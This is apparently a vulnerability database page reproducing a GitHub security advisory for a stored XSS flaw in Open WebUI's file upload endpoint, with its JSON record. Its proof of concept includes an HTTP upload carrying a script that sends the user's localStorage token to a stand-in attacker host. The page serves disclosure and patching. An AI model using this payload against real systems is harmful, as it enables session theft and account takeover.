GHSA-8GH5-QQH8-HQ3X

Vulnerability from github – Published: 2026-07-07 16:50 – Updated: 2026-07-07 16:50
VLAI
Summary
Open WebUI allows limited stored XSS vila uploaded html file
Details

Summary

Low privileged users can upload HTML files which contain JavaScript code via the /api/v1/files/ backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.

Details

The following HTTP request can be sent to the backend server to upload a file with the contents: <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>

POST /api/v1/files/ HTTP/1.1
Host: localhost:8080
Content-Length: 286
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm

------WebKitFormBoundaryr0PnRBBHKXD9UEdm
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html

<h1>padding</h1>
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
------WebKitFormBoundaryr0PnRBBHKXD9UEdm--

Note the filename="test.html" , Content-Type: text/html, and `

padding

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-46571"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-87"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T16:50:43Z",
    "nvd_published_at": "2025-05-05T19:15:57Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nLow privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user\u0027s browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.\n\n### Details\n\nThe following HTTP request can be sent to the backend server to upload a file with the contents:\n`\u003cscript\u003efetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))\u003c/script\u003e`\n\n```http\nPOST /api/v1/files/ HTTP/1.1\nHost: localhost:8080\nContent-Length: 286\nauthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm\n\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm\nContent-Disposition: form-data; name=\"file\"; filename=\"test.html\"\nContent-Type: text/html\n\n\u003ch1\u003epadding\u003c/h1\u003e\n\u003cscript\u003efetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))\u003c/script\u003e\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm--\n```\n\nNote the `filename=\"test.html\"` , `Content-Type: text/html`, and `\u003ch1\u003epadding\u003c/h`\u003e in the request\u0027s body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a `\u003cscript\u003e` tag. \n\nThe backend server responds to the above request with JSON data that contains an `id` parameter. \n\n![image](https://github.com/user-attachments/assets/ac15e108-d385-4e58-b29a-eb79aafbffda)\n\nThis ID can be used to view the uploaded file in the browser at `\u003cBackend_URL\u003e/api/v1/files/\u003cfile_id\u003e/content/html`\n\nBecause of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability.\n\n### PoC\n\nFirst, upload an html containing JavaScript code to the backend server using the following HTTP request:\n```http\nPOST /api/v1/files/ HTTP/1.1\nHost: localhost:8080\nContent-Length: 286\nauthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm\n\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm\nContent-Disposition: form-data; name=\"file\"; filename=\"test.html\"\nContent-Type: text/html\n\n\u003ch1\u003epadding\u003c/h1\u003e\n\u003cscript\u003efetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))\u003c/script\u003e\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm--\n```\n\nThen copy the `id` from the response and use it to view the file in the browser at `\u003cBackend_URL\u003e/api/v1/files/\u003cfile_id\u003e/content/html`\n\n\n### Impact\n\nLow privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin\u0027s account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766",
  "id": "GHSA-8gh5-qqh8-hq3x",
  "modified": "2026-07-07T16:50:43Z",
  "published": "2026-07-07T16:50:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-8gh5-qqh8-hq3x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46571"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/ef2aeb7c0eb976bac759e59ac359c94a5b8dc7e0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.6.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Open WebUI  allows limited stored XSS vila uploaded html file"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…